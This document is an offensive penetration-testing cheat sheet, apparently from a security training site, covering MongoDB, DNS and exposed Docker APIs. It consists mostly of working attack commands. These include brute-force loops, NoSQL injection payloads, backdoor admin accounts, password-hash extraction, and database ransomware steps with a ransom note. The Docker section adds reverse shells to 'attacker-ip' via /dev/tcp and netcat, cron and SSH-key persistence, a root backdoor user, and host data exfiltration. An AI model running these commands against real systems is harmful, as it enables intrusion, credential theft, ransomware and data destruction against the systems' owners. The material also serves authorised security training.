1.) MongoDB

Default Ports: 27017, 27018

MongoDB is a popular open-source NoSQL database that uses a document-oriented data model. Unlike traditional relational databases, MongoDB stores data in flexible, JSON-like documents called BSON (Binary JSON). This makes it highly scalable and perfect for handling large volumes of unstructured or semi-structured data. MongoDB is widely used in modern web applications, big data, real-time analytics, and content management systems.

Connect

Connect Using mongo Shell

mongo <target-ip>:<port>

Connect Using mongosh (Modern Shell)

mongosh "mongodb://<target-ip>:<port>"

Recon

Identifying a MongoDB Server

You can use Nmap to check if there's a MongoDB server on a target host like this:

nmap -p 27017,27018 target.com

Banner Grabbing

You can use Netcat to find out if a MongoDB service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -vn target.com 27017

Enumeration

Automated Enumeration with Nmap

Use mongodb-info script to gather detailed server information:

nmap -p 27017 --script mongodb-info target.com

Use mongodb-databases script to list databases without authentication:

nmap -p 27017 --script mongodb-databases target.com

Enumeration with Metasploit

```
use auxiliary/scanner/mongodb/mongodb_info
set RHOSTS target.com
run


use auxiliary/scanner/mongodb/mongodb_enum
set RHOSTS target.com
run
```

Manual Enumeration via MongoDB Shell

```
db.version()
db.serverStatus()
db.serverBuildInfo()
db.hostInfo()
db.adminCommand({getCmdLineOpts: 1})


// List all databases
show dbs
db.adminCommand('listDatabases')

// Switch to database
use database_name

// List collections
show collections
db.getCollectionNames()

// Collection statistics
db.collection_name.stats()
db.collection_name.count()


// List users (requires admin)
use admin
db.system.users.find()
db.getUsers()

// Current user
db.runCommand({connectionStatus: 1})

// User roles
```

```
db.getRoles({showBuiltinRoles: true})

// All users across databases
db.adminCommand({usersInfo: {forAllDBs: true}})


// Get all configuration
db.adminCommand({getParameter: '*'})

// Authentication mechanisms
db.adminCommand({getParameter: 1, authenticationMechanisms: 1})

// Network settings
db.adminCommand({getParameter: 1, bindIp: 1})
db.adminCommand({getParameter: 1, port: 1})

// Check if authentication is enabled
db.adminCommand({getCmdLineOpts: 1}).parsed.security
```

Attack Vectors

No Authentication

MongoDB instances can be configured without authentication, allowing anyone to connect and access all databases and collections. This is a critical security misconfiguration that exposes sensitive data to unauthorized users. The attacker can read, modify, or delete data without providing any credentials.

```
# Test if authentication required
mongo target.com:27017

# If connection succeeds without credentials
# MongoDB is misconfigured (no auth)


mongo target.com:27017 --eval "db.adminCommand('listDatabases')"


mongo target.com:27017/database_name --eval "db.collection.find()"
```

Default Credentials

Many MongoDB installations use weak default credentials that are easily guessable or well-known. These credentials are often left unchanged by administrators, making them prime targets for attackers. Default credentials provide immediate access to the database without requiring complex brute force attacks.

 # Common default credentials
admin:admin
admin:password
root:root
mongodb:mongodb
user:user

 # Try connection
mongo -u admin -p admin target.com/admin
mongo -u root -p password target.com

Brute Force Attack

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like MongoDB, MySQL, PostgreSQL, etc. For MongoDB, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Brute Forcing with Hydra

To use Hydra for brute-forcing MongoDB login credentials, you would use a command structured for this purpose:

hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com mongodb

Brute Forcing with Nmap

It is also possible to perform brute force on MongoDB with Nmap scripts:

nmap -p 27017 --script mongodb-brute target.com

Brute Forcing with Metasploit

It is also possible to apply brute force with Metasploit modules on MongoDB:

use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS target.com
set USERNAME admin
set PASS_FILE passwords.txt
run

Brute Forcing with Custom Script

```
for pass in $(cat passwords.txt); do
   mongo "mongodb://admin:$pass@target.com:27017/admin" --eval "db.version()" &&
echo "[+] Found: admin:$pass"
done
```

NoSQL Injection

NoSQL injection attacks exploit vulnerabilities in MongoDB query construction, allowing attackers to bypass authentication or extract sensitive data. These attacks leverage MongoDB's flexible query operators and JavaScript execution capabilities to manipulate query logic. NoSQL injection can be more dangerous than traditional SQL injection due to the dynamic nature of NoSQL queries.

```
// In login forms with MongoDB queries
username[$ne]=null&password[$ne]=null
{"username": {"$ne": null}, "password": {"$ne": null}}


{"username": {"$in": ["admin", "user"]}, "password": {"$ne": null}}


{"username": {"$regex": "^admin"}, "password": {"$ne": null}}


{"username": "admin", "password": {"$where": "this.password.match(/.*/);"}}


' || '1'=='1
' || 1==1//
' || 1==1%00
admin' || '1'=='1
{"$gt": ""}
{"$ne": ""}
{"$nin": []}
username[$nin][]=invalid&password[$ne]=null
```

Arbitrary JavaScript Execution

MongoDB allows execution of JavaScript code through various operators, which can be exploited to perform arbitrary code execution on the server. This vulnerability occurs when user input is directly passed to JavaScript execution contexts without proper sanitization. Attackers can leverage this to execute system commands, access the file system, or perform other malicious operations.

```
db.collection.find({$where: "sleep(5000) || true"})
```

```
db.collection.find({$where: function() {
   var cmd = "whoami";
   var output = run("bash", "-c", cmd);
   return true;
}})
```

```
db.collection.mapReduce(
   function() { emit(this._id, this); },
   function(key, values) {
      // Malicious code
      return "pwned";
   },
   {out: {inline: 1}}
)
```

Post-Exploitation

Search for Sensitive Data

After gaining access to MongoDB, search for sensitive information including user credentials, API keys, tokens, and personal data stored in collections.

Find Collections with Sensitive Names

Look for collections that might contain sensitive information based on their names:

```
db.getCollectionNames().filter(c =>
   c.match(/user|password|credential|token|key|secret|admin/i)
)
```

Search Documents for Credentials

```
db.users.find({}, {password: 1, email: 1, token: 1})
db.config.find({}, {api_key: 1, secret: 1, password: 1})
```

Sample Documents from All Collections

Examine sample documents from all available collections to understand the data structure:

```
db.getCollectionNames().forEach(function(c) {
   print("Collection: " + c);
   printjson(db[c].findOne());
})
```

Data Exfiltration

Extract sensitive information from the compromised MongoDB instance using tools like mongodump and mongoexport.

Export Entire Database

Use mongodump to create a complete backup of the MongoDB instance:

```
mongodump --host target.com --port 27017 --out /tmp/dump
```

Export with Authentication

```
mongodump --host target.com --port 27017 \
   --username admin --password password \
   --authenticationDatabase admin \
   --out /tmp/dump
```

Export Specific Database

```
mongodump --host target.com --db database_name --out /tmp/dump
```

Export Specific Collection

```
mongodump --host target.com --db database_name --collection users --out /tmp/dump
```

Export to CSV

```
mongoexport --host target.com --db database_name --collection users \
   --type=csv --fields name,email,password --out users.csv
```

Query and Save Data

```
mongo target.com/database_name --eval "db.users.find()" > users_data.json
```

Privilege Escalation

Gain administrative privileges by creating new admin users or modifying existing user roles.

Create Admin User

```
use admin
db.createUser({
   user: "backdoor",
   pwd: "P@ssw0rd123!",
   roles: [{role: "root", db: "admin"}]
})
```

Grant Roles to Existing User

```
db.grantRolesToUser("existing_user", [{role: "root", db: "admin"}])
```

Modify User Password

```
db.changeUserPassword("username", "newpassword")
```

Update User Roles Directly

```
// Requires admin
db.system.users.update(
   {user: "username"},
   {$set: {roles: [{role: "root", db: "admin"}]}}
)
```

Persistence

Maintain long-term access through backdoor admin accounts and hidden collections.

Create Backdoor Admin User

```
use admin
db.createUser({
   user: "system_service",
   pwd: "ComplexBackdoor123!",
   roles: [
      {role: "root", db: "admin"},
      {role: "userAdminAnyDatabase", db: "admin"}
   ]
})
```

Create Hidden Collection for C2

```
use admin
db.createCollection(".system_config")
db[".system_config"].insert({cmd: "whoami", output: ""})
```

Store Backdoor JavaScript Function

```
db.system.js.save({
   _id: "backdoor_function",
   value: function() {
      // Backdoor code
      return "OK";
```

```
    }
})
```

Command Execution

Execute system commands directly from the MongoDB shell using eval and $where operators (deprecated in newer versions).

Check if JavaScript Execution Enabled

```
db.adminCommand({getParameter: 1, javascriptEnabled: 1})
```

Execute System Commands

```
// Requires special configuration
db.runCommand({
    eval: "function() { return run('whoami'); }",
    nolock: true
})
```

Using $where for Command Execution

```
// Deprecated but might work
db.collection.find({$where: "return shellHelper.run('whoami')"})
```

Password Hash Extraction

Extract password hashes from the user collection for offline cracking with tools like hashcat or john.

Extract User Hashes

```
// Requires admin access
use admin
db.system.users.find()
```

Format Hashes for Cracking

```
db.system.users.find().forEach(function(u) {
    print(u.user + ":" + u.credentials["SCRAM-SHA-1"].storedKey);
})
```

Export to File

```
mongoexport --host target.com --db admin --collection system.users \
   --username admin --password password \
   --out user_hashes.json
```

Database Ransomware

Database ransomware attacks involve encrypting or deleting database contents and demanding payment for restoration. This malicious activity can cause significant business disruption and data loss.

The attack typically involves backing up the original data, dropping or encrypting databases, and leaving ransom notes with payment instructions. These attacks exploit administrative access to cause maximum damage and financial impact.

Backup Original Data

```
mongodump --host target.com --out /tmp/stolen_backup
```

Drop All Databases

```
db.adminCommand('listDatabases').databases.forEach(function(d) {
   if (d.name != 'admin' && d.name != 'local') {
      db.getSiblingDB(d.name).dropDatabase();
   }
})
```

Create Ransom Note

```
use admin
db.RANSOM_NOTE.insert({
   message: "Your databases have been encrypted. Send 1 BTC to...",
   bitcoin_address: "1ABC...",
   contact: "mailto:attacker@evil.com"
})
```

Denial of Service

Denial of Service (DoS) attacks against MongoDB aim to exhaust server resources and make the database unavailable to legitimate users. These attacks can be performed through resource-intensive queries, massive data insertion, or destructive operations.

Common DoS techniques include slow query attacks using $where operators, creating excessive indexes, inserting large documents, or dropping entire databases. These attacks can cause significant downtime and business disruption.

Slow Query Attack

```
db.collection.find({$where: "sleep(10000) || true"})
```

Create Massive Indexes

```
for (var i = 0; i < 1000; i++) {
   db.collection.createIndex({field: i});
}
```

Insert Large Documents

```
for (var i = 0; i < 1000000; i++) {
   db.collection.insert({data: "A".repeat(10000)});
}
```

Drop All Databases

```
db.adminCommand('listDatabases').databases.forEach(function(d) {
   db.getSiblingDB(d.name).dropDatabase();
})
```

Lateral Movement

Lateral movement involves using compromised MongoDB access to discover and access other systems within the network. This technique helps attackers expand their foothold and access additional resources.

The process typically involves extracting connection strings, searching for credentials stored in collections, and analyzing database queries to identify other connected systems. This information can be used to pivot to other databases, applications, or network services.

Extract Connection Strings

```
db.config.find()
db.settings.find()
```

Search for Credentials in Collections

```
db.users.find({}, {password: 1, email: 1})
db.config.find({}, {api_key: 1, secret: 1})
```

Check Database Queries for Connections

```
db.system.profile.find({op: "query"}).forEach(function(doc) {
   printjson(doc);
```

})

Common MongoDB Commands

Command	Description	Usage
show dbs	List databases	show dbs
use db	Switch database	use mydb
show collections	List collections	show collections
db.collection.find()	Query documents	db.users.find()
db.collection.insert()	Insert document	db.users.insert({name:"test"})
db.collection.update()	Update document	db.users.update({name:"test"}, {$set:{age:25}})
db.collection.remove()	Delete document	db.users.remove({name:"test"})
db.collection.drop()	Drop collection	db.users.drop()
db.dropDatabase()	Drop database	db.dropDatabase()
db.createUser()	Create user	db.createUser({user:"admin",pwd:"pass"})
db.getUsers()	List users	db.getUsers()

NoSQL Injection Payloads

```
// Authentication bypass
{"$ne": null}
{"$ne": ""}
{"$gt": ""}
{"$regex": ".*"}
{"$exists": true}

// OR operator
{"$or": [{"username": "admin"}, {"username": "user"}]}

// IN operator
{"$in": ["admin", "user", "root"]}

// NIN operator (not in)
{"$nin": ["invalid"]}

// WHERE operator
{"$where": "1==1"}
{"$where": "sleep(5000)"}

// Regex
{"$regex": "^admin"}
{"$regex": ".*"}

// Array manipulation
{"$elemMatch": {"$ne": null}}
```

Useful Tools

Tool	Description	Primary Use Case
mongo	MongoDB shell	Database interaction
mongosh	Modern MongoDB shell	Enhanced shell
mongodump	Database backup	Data exfiltration

Tool	Description	Primary Use Case
mongoexport	Export data	Data extraction
MongoDB Compass	GUI client	Visual management
NoSQLMap	NoSQL injection tool	Automated exploitation
Metasploit	Exploitation framework	Automated testing
Burp Suite	Web proxy	NoSQL injection testing

Security Misconfigurations

- ❌ No authentication enabled
- ❌ Default credentials
- ❌ Exposed to internet without firewall
- ❌ Bind to 0.0.0.0 instead of localhost
- ❌ JavaScript execution enabled
- ❌ No SSL/TLS encryption
- ❌ Weak passwords
- ❌ Excessive user privileges
- ❌ No role-based access control
- ❌ Logging disabled
- ❌ Outdated MongoDB version
- ❌ No regular backups
- ❌ Default port (27017) exposed

2.) Domain Name System (DNS)

Default Port: 53

DNS (Domain Name System) functions as the internet's phonebook, converting user-friendly domain names like hackviser.com into numerical IP addresses, enabling swift access to online resources. DNS is a hierarchical and decentralized naming system for computers, services, or any resource connected to the Internet or a private network. It translates human-readable domain names to numerical IP addresses, essential for locating and identifying computer services and devices within network protocols.

DNS operates on a client-server model, with the resolver sending requests to DNS servers, which then respond with the requested information.

- **Root Servers:** These manage the highest level of the DNS hierarchy and oversee top-level domains globally, stepping in if lower-level servers fail to respond. ICANN supervises these 13 root servers.
- **Authoritative Nameservers:** They hold the final authority for queries within their designated zones, providing definitive responses. If they cannot respond, queries are escalated to root servers.
- **Non-authoritative Nameservers:** These servers lack domain ownership and acquire domain information through queries to other servers.
- **Caching DNS Servers:** These servers store previous query answers for a specified duration, speeding up future responses. The cache duration is determined by the authoritative server.
- **Forwarding Servers:** They simply forward queries to other servers.
- **Resolvers:** Integrated into computers or routers, resolvers perform local name resolution without being authoritative.

Recon

Banner Grabbing

Banner grabbing is used to identify DNS server versions. You can use the following commands:

```
# Use dig to determine DNS server versions
dig version.bind CHAOS TXT @DNS

# Alternatively, use nmap script to grab the banner
nmap --script dns-nsid <DNS_IP>

# Alternatively, use telnet to grab the banner
```

nc -nv -u <DNS_IP> 53

DNS Server Discovery

Identifying the DNS servers associated with a target domain is a critical first step. Tools like dig and nslookup can be employed to find nameservers:

```
# Using dig
dig NS <target-domain>

# Using nslookup
nslookup -type=NS <target-domain>
```

Enumeration

Automation

dnsenum --dnsserver <DNS_IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>

Using dig

A command-line tool used to perform DNS queries and gather information about DNS servers.

```
# Query DNS records
dig hackviser.com

# Query specific type of DNS records (e.g., A record)
dig A hackviser.com

# Perform a reverse DNS lookup
dig -x <IP_ADDRESS>

# Query a specific DNS server
dig @<DNS_SERVER_IP> hackviser.com
```

Using nslookup

```
# Perform DNS queries
nslookup hackviser.com

# Query a specific type of DNS record (e.g., MX record)
nslookup -type=MX hackviser.com
```

 # Query a specific DNS server
nslookup hackviser.com <DNS_IP>

Using host

A tool used to perform DNS queries and determine IP addresses.

 # Perform DNS query
host hackviser.com

 # Query specific type of DNS records (e.g., MX record)
host -t MX hackviser.com

 # Perform a reverse DNS lookup
host <IP_ADDRESS>

Any Record Query

To retrieve all available entries from a DNS server, you can use the following command:

dig any victim.com @<DNS_IP>

Zone Transfer

AXFR query is a DNS protocol request used to retrieve all records of a domain from a DNS server:

Using dig

dig is the standard tool for DNS zone transfers:

 # Without specifying a domain
dig axfr @<DNS_IP>

 # With specific domain
dig axfr @<DNS_IP> <DOMAIN>

Using fierce

fierce automates zone transfers and can perform dictionary attacks:

fierce --domain <DOMAIN> --dns-servers <DNS_IP>

Metasploit Modules and Nmap Scripts

msfconsole
use auxiliary/gather/enum_dns
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>

DNS Reverse and Subdomain Brute Force

dnsrecon -r 127.0.0.0/24 -n <IP_DNS>
dnsrecon -r 127.0.1.0/24 -n <IP_DNS>
dnsrecon -r <IP_DNS>/24 -n <IP_DNS>
dnsrecon -d active.htb -a -n <IP_DNS>

DNS Cache Snooping

DNS cache snooping is a technique used to query the DNS cache to gather information about past DNS records. This method can be used to access hidden or confidential information within a network.

 # Querying the DNS cache
dnsrecon -t std -d hackviser.com -D /usr/share/dnsrecon/namelist.txt

DNS Enumeration with Google Dorks

DNS enumeration using Google Dorks involves collecting DNS information for a specific domain using advanced Google search operators. This method serves as a comprehensive information gathering technique for cybersecurity assessments.

 # Collecting DNS information using Google Dorks
site:hackviser.com -www.hackviser.com -site:www.hackviser.com

DNS Enumeration Using Maltego

Visualization tools like Maltego can be used to collect and visualize DNS information. This provides a more comprehensive analysis, representing relationships and connections within the target network visually.

 # DNS mapping with Maltego
maltego

DNS Enumeration Using Online Tools

Various online DNS enumeration tools are available to gather and analyze DNS information. These tools typically perform extensive queries and present results conveniently.

1. **DNS Dumpster**: dnsdumpster.com - An online tool used to gather DNS information for a specific domain. It provides subdomains, MX records, NS records, and more.
2. **DNS Recon**: dnsrecon.com - A comprehensive information gathering and penetration testing tool for domains. It includes subdomains, DNS records, reverse DNS queries, and more.
3. **Spyse**: spyse.com - A platform for extensive asset gathering. It includes DNS information, subdomains, SSL certificates, and more.
4. **SecurityTrails**: securitytrails.com - A platform for asset tracking. It includes DNS history, subdomains, IP addresses, and more.
5. **DNSlytics**: dnslytics.com - An online platform for researching and analyzing DNS information. It provides WHOIS data, DNS records, domain history, and more.

DNS Enumeration via Certificate Transparency Logs

Certificate Transparency logs monitor widely used SSL/TLS certificates for domain names and subdomains. These logs can be used to identify subdomains and services used by a target.

1. **DNS CertSpotter**: Utilize online tools like certspotter.com to scan Certificate Transparency (CT) logs for a specific domain.
2. **Subdomain Enumeration**: Examine SSL/TLS certificates listed in CT logs and identify subdomains associated with a particular target domain.

Attack Vectors

DNS Spoofing

DNS spoofing involves introducing corrupt Domain Name System data into a DNS resolver's cache, causing the name server to return an incorrect IP address, diverting traffic to the attacker's computer.

Ettercap is a comprehensive suite for man-in-the-middle attacks on LAN. It can be used for DNS spoofing.

ettercap -T -q -M arp:remote /<gateway-ip>// /<target-ip>// -P dns_spoof

DNS Tunneling

DNS Tunneling leverages DNS queries and responses to encapsulate data of other programs or protocols in DNS queries and responses.

Iodine lets you tunnel IPv4 data through a DNS server.

 # Server side
iodined -f -c <tunnel-ip> <domain>

 # Client side

iodine <dns-server-ip> <domain>

Post-Exploitation

Cache Snooping

Cache snooping is a technique to determine if a DNS server has specific records in its cache.

dig @<dns-server> <domain> +norecurse

Reverse DNS Lookup

Reverse DNS lookup is a DNS query for the domain name associated with a given IP address.

dig -x <ip-address>

DNS Exfiltration

Data exfiltration over DNS involves encoding data in DNS queries and responses, allowing data to be extracted from a network covertly.

dnscat2 is designed to create an encrypted command-and-control channel over the DNS.

 # Server side
dnscat2 --dns server=<dns-server-ip>:53

 # Client side
dnscat2 <domain>

3.) Docker API

Default Ports: 2375 (HTTP), 2376 (HTTPS)

Docker is a containerization platform that allows developers to package applications and their dependencies into isolated containers. The Docker API provides remote management capabilities, enabling administration of Docker hosts over the network. When exposed without proper authentication, it can lead to complete host compromise.

Connect

Using Docker Client

The Docker CLI can connect to remote Docker daemons for management and exploitation:

Set Persistent Connection (Unencrypted)

```
export DOCKER_HOST="tcp://target.com:2375"
docker ps
```

Set Persistent Connection with TLS

```
export DOCKER_HOST="tcp://target.com:2376"
export DOCKER_TLS_VERIFY=1
docker --tlsverify ps
```

Execute One-Time Commands

```
# Unencrypted
docker -H tcp://target.com:2375 ps

# With TLS
docker -H tcp://target.com:2376 --tlsverify ps
```

Using cURL

cURL allows direct interaction with the Docker REST API for enumeration and exploitation:

Get Docker Version Information

```
curl http://target.com:2375/version
```

List All Containers

```
curl http://target.com:2375/containers/json
```

List Available Images

curl http://target.com:2375/images/json

Retrieve System Information

curl http://target.com:2375/info

Using Docker API Directly

```
# Python example
import docker

client = docker.DockerClient(base_url='tcp://target.com:2375')
print(client.containers.list())
print(client.images.list())
```

Recon

Service Detection with Nmap

Use Nmap to check if the Docker API is exposed and determine if it requires authentication.

Basic Port and Version Detection

nmap -p 2375,2376 -sV target.com

Docker Information Scripts

nmap -p 2375 --script docker-version,docker-info target.com

Banner Grabbing

Identify the Docker version and gather initial information about the Docker daemon using various tools.

Using Netcat

nc -vn target.com 2375

Using cURL for Version Information

curl -s http://target.com:2375/version

Get Detailed Information with JSON Parsing

curl -s http://target.com:2375/version | jq .
curl -s http://target.com:2375/info | jq .

Check Authentication

Determine if the Docker API requires authentication and test different connection methods.

Test Unencrypted Authentication

curl -s http://target.com:2375/containers/json

 # If returns container list: No authentication
 # If returns error: Authentication required
 # If connection refused: Service not exposed or firewall

Test TLS Connection

openssl s_client -connect target.com:2376

Enumeration

Container Enumeration

Listing containers reveals running applications, their configurations, and potential attack targets.

List Running Containers

docker -H tcp://target.com:2375 ps

List All Containers

docker -H tcp://target.com:2375 ps -a

Get Container Details

docker -H tcp://target.com:2375 inspect <container_id>

Using API Directly

curl http://target.com:2375/containers/json?all=1

Check Container Processes

docker -H tcp://target.com:2375 top <container_id>

Image Enumeration

Docker images can contain sensitive information, credentials, and application secrets.

List Available Images

docker -H tcp://target.com:2375 images

Get Image Details

docker -H tcp://target.com:2375 inspect <image_id>

View Image History

docker -H tcp://target.com:2375 history <image_id>

Using API for Images

curl http://target.com:2375/images/json

Network Enumeration

Discover Docker networks and their configurations to understand container communication.

List Docker Networks

docker -H tcp://target.com:2375 network ls

Inspect Network Details

docker -H tcp://target.com:2375 network inspect bridge

Using API for Networks

curl http://target.com:2375/networks

Volume Enumeration

Identify Docker volumes that may contain persistent data or sensitive information.

List Docker Volumes

docker -H tcp://target.com:2375 volume ls

Inspect Volume Details

docker -H tcp://target.com:2375 volume inspect <volume_name>

Using API for Volumes

curl http://target.com:2375/volumes

System Information

Gather comprehensive information about the Docker daemon and host system.

Get Docker Information

docker -H tcp://target.com:2375 info

Get Docker Version

docker -H tcp://target.com:2375 version

Check Disk Usage

docker -H tcp://target.com:2375 system df

Using API for System Info

curl http://target.com:2375/info | jq .
curl http://target.com:2375/version | jq .

Attack Vectors

Container Escape via Privileged Container

Privileged containers bypass security restrictions and allow direct access to the host system. This is one of the most effective methods for escaping container isolation and gaining root access to the underlying host.

Creating Privileged Container

```
docker -H tcp://target.com:2375 run -it --privileged \
  --pid=host --net=host --ipc=host \
  -v /:/host ubuntu /bin/bash
```

Accessing Host System

```
# Inside container, access host filesystem
chroot /host /bin/bash
```

```
# Now you have root on the host system
whoami  # root
cat /etc/shadow
```

Container Escape via Volume Mount

Volume mounting allows containers to access host filesystems, potentially leading to host compromise when sensitive directories are mounted.

Mount Host Root Filesystem

```
docker -H tcp://target.com:2375 run -it \
  -v /:/hostfs ubuntu /bin/bash
```

Access Host Files

```
cd /hostfs
cat /hostfs/etc/shadow
```

Establish Persistence

```
# Write SSH key for persistence
mkdir -p /hostfs/root/.ssh
echo "ssh-rsa AAAA..." > /hostfs/root/.ssh/authorized_keys
chmod 600 /hostfs/root/.ssh/authorized_keys
```

Reverse Shell via New Container

Create new containers with reverse shell capabilities to establish remote access to the Docker host.

Create Container with Bash Reverse Shell

```
docker -H tcp://target.com:2375 run -d \
  ubuntu /bin/bash -c \
  "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"
```

Create Container with Netcat Reverse Shell

```
docker -H tcp://target.com:2375 run -d \
  ubuntu nc attacker-ip 4444 -e /bin/bash
```

Mount Host and Execute Reverse Shell

```
docker -H tcp://target.com:2375 run -d \
  -v /:/hostfs ubuntu \
  /bin/bash -c "chroot /hostfs bash -i >& /dev/tcp/attacker-ip/4444 0>&1"
```

Execute Commands in Existing Container

Execute commands within running containers to gain access and perform reconnaissance.

Execute Single Command

```
docker -H tcp://target.com:2375 exec <container_id> whoami
```

Get Interactive Shell

```
docker -H tcp://target.com:2375 exec -it <container_id> /bin/bash
```

Execute as Root

```
docker -H tcp://target.com:2375 exec -u root -it <container_id> /bin/bash
```

Using API for Command Execution

```
curl -X POST -H "Content-Type: application/json" \
  http://target.com:2375/containers/<container_id>/exec \
  -d
'{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/bash"],"DetachKeys":"ctrl-p,ctrl-q","Privileged":false,"Tty":true}'
```

Image Backdooring

Create malicious Docker images with backdoors to establish persistent access or compromise other systems.

Pull Legitimate Image

```
docker -H tcp://target.com:2375 pull ubuntu
```

Create Malicious Dockerfile

```
cat > Dockerfile <<EOF
FROM ubuntu
RUN apt-get update && apt-get install -y netcat
CMD ["nc", "-lvp", "4444", "-e", "/bin/bash"]
EOF
```

Build and Deploy Backdoored Image

```
# Build backdoored image
docker build -t ubuntu:backdoor .

# Save and upload
docker save ubuntu:backdoor > backdoor.tar
curl -X POST -H "Content-Type: application/x-tar" \
  --data-binary @backdoor.tar \
  http://target.com:2375/images/load
```

Docker Socket Abuse

Exploit containers that have the Docker socket mounted, allowing control of the Docker daemon from within a container.

Check for Docker Socket

```
ls -la /var/run/docker.sock
```

Control Docker from Container

```
docker -H unix:///var/run/docker.sock ps
```

Escape to Host

```
docker -H unix:///var/run/docker.sock run -it \
  -v /:/hostfs ubuntu chroot /hostfs /bin/bash
```

Secrets Extraction

Extract sensitive information including secrets, credentials, and configuration data from Docker containers and images.

List Docker Swarm Secrets

```
docker -H tcp://target.com:2375 secret ls
```

Inspect Secret Details

```
docker -H tcp://target.com:2375 secret inspect <secret_id>
```

Search for Sensitive Files

```
docker -H tcp://target.com:2375 exec <container_id> \
  find / -name "*.key" -o -name "*credential*" -o -name "*.pem" 2>/dev/null
```

Check Environment Variables

```
docker -H tcp://target.com:2375 exec <container_id> env
```

Inspect Container Configuration

```
docker -H tcp://target.com:2375 inspect <container_id> | grep -i "env\|secret\|password"
```

Post-Exploitation

Host Takeover

Gain complete control over the Docker host system through various persistence and privilege escalation methods.

Create Privileged Container

```
docker -H tcp://target.com:2375 run -it --rm --privileged \
  --pid=host --net=host -v /:/host alpine \
  chroot /host /bin/bash
```

Establish Cron Job Persistence

```
docker -H tcp://target.com:2375 run -v /etc:/hostfs/etc alpine \
  sh -c 'echo "* * * * * root bash -i >& /dev/tcp/attacker-ip/4444 0>&1" >>
/hostfs/etc/crontab'
```

Add SSH Key for Access

```
docker -H tcp://target.com:2375 run -v /root:/hostfs/root alpine \
  sh -c 'mkdir -p /hostfs/root/.ssh && echo "ssh-rsa AAAA..." >>
/hostfs/root/.ssh/authorized_keys'
```

Create Backdoor User

```
docker -H tcp://target.com:2375 run -v /etc:/hostfs/etc alpine \
  sh -c 'echo "backdoor:x:0:0::/root:/bin/bash" >> /hostfs/etc/passwd && echo
"backdoor:password_hash" >> /hostfs/etc/shadow'
```

Container Persistence

Create persistent backdoor containers that maintain access even after system restarts.

Create Persistent Backdoor Container

```
docker -H tcp://target.com:2375 run -d --name backdoor \
  --restart always \
  -p 4444:4444 \
  ubuntu nc -lvp 4444 -e /bin/bash
```

Verify Container Status

```
docker -H tcp://target.com:2375 ps | grep backdoor
```

Data Exfiltration

Extract sensitive data from containers and host systems for analysis or exfiltration.

Copy Files from Container

```
docker -H tcp://target.com:2375 cp <container_id>:/etc/passwd /tmp/passwd
```

Export Container Filesystem

```
docker -H tcp://target.com:2375 export <container_id> > container.tar
tar -xf container.tar
```

Backup Host Data

```
docker -H tcp://target.com:2375 run -v /:/hostfs alpine \
  tar czf /tmp/backup.tar.gz /hostfs/etc /hostfs/root /hostfs/home
```

Download Archive

```
docker -H tcp://target.com:2375 cp <container_id>:/tmp/backup.tar.gz .
```

Registry Access

Access private Docker registries to extract images and search for sensitive information.

Pull Images from Private Registry

```
docker -H tcp://target.com:2375 pull registry.company.com/app:latest
```

Extract Image Contents

```
docker -H tcp://target.com:2375 save registry.company.com/app:latest > app.tar
tar -xf app.tar
```

Search for Credentials

```
grep -r "password\|secret\|key" .
```

Network Pivoting

Use Docker containers to pivot into internal networks and access additional systems.

Create Host Network Container

```
docker -H tcp://target.com:2375 run -it --net=host \
  alpine /bin/sh
```

Install Network Tools

```
apk add nmap
```

Scan Internal Networks

```
nmap -sn 192.168.0.0/24
nmap -p- 192.168.0.100
```

Setup SOCKS Proxy

```
docker -H tcp://target.com:2375 run -d \
  -p 1080:1080 \
  serjs/go-socks5-proxy
```

Use Proxy for Pivoting

```
# Edit /etc/proxychains.conf
# socks5 target.com 1080
proxychains nmap -sT 192.168.0.0/24
```

Container Modification

Modify existing containers and images to create persistent backdoors or extract sensitive information.

Commit Container as New Image

```
docker -H tcp://target.com:2375 commit <container_id> backdoored:latest
```

Export and Analyze Image

docker -H tcp://target.com:2375 save backdoored:latest > backdoored.tar

Modify Image Layers

```
# Extract tar
tar -xf backdoored.tar
# Modify layer contents
# Repackage
tar -cf modified.tar *
# Load back
docker -H tcp://target.com:2375 load < modified.tar
```

Common Docker Commands

Command	Description	Usage
docker ps	List running containers	docker -H tcp://target:2375 ps
docker ps -a	List all containers	docker -H tcp://target:2375 ps -a
docker images	List images	docker -H tcp://target:2375 images
docker exec	Execute in container	docker -H tcp://target:2375 exec -it <id> /bin/bash
docker run	Create and run container	docker -H tcp://target:2375 run -it ubuntu
docker inspect	Get details	docker -H tcp://target:2375 inspect <id>
docker logs	View logs	docker -H tcp://target:2375 logs <id>
docker cp	Copy files	docker -H tcp://target:2375 cp <id>:/file .

Docker API Endpoints

Endpoint	Method	Description
/version	GET	Get Docker version
/info	GET	Get system information
/containers/json	GET	List containers
/containers/create	POST	Create container
/containers/<id>/start	POST	Start container
/containers/<id>/exec	POST	Execute command
/images/json	GET	List images
/images/create	POST	Pull/create image
/networks	GET	List networks
/volumes	GET	List volumes

Useful Tools

Tool	Description	Primary Use Case
Docker CLI	Official Docker client	Container management
docker-py	Python Docker library	Automation and scripting
docker-compose	Multi-container tool	Orchestration

Tool	Description	Primary Use Case
docker-bench	Security audit tool	Configuration assessment
dive	Image layer explorer	Image analysis
trivy	Vulnerability scanner	Image security scanning
docker-explorer	Forensics tool	Container investigation

Security Misconfigurations to Test

- ❌ Docker API exposed without authentication
- ❌ Using unencrypted port 2375
- ❌ Privileged containers running
- ❌ Host filesystem mounted in containers
- ❌ Docker socket mounted in containers
- ❌ Containers running as root
- ❌ No resource limits on containers
- ❌ Exposed internal ports
- ❌ Using :latest tag for production
- ❌ No vulnerability scanning on images
- ❌ Secrets stored in images or environment variables
- ❌ No network segmentation between containers

Container Escape Checks

```
# Check if running in container
ls -la /.dockerenv
cat /proc/1/cgroup | grep docker

# Check for privileged mode
ip link add dummy0 type dummy 2>/dev/null && echo "Privileged" || echo "Not Privileged"
```

```
# Check capabilities
capsh --print

# Check mounted filesystems
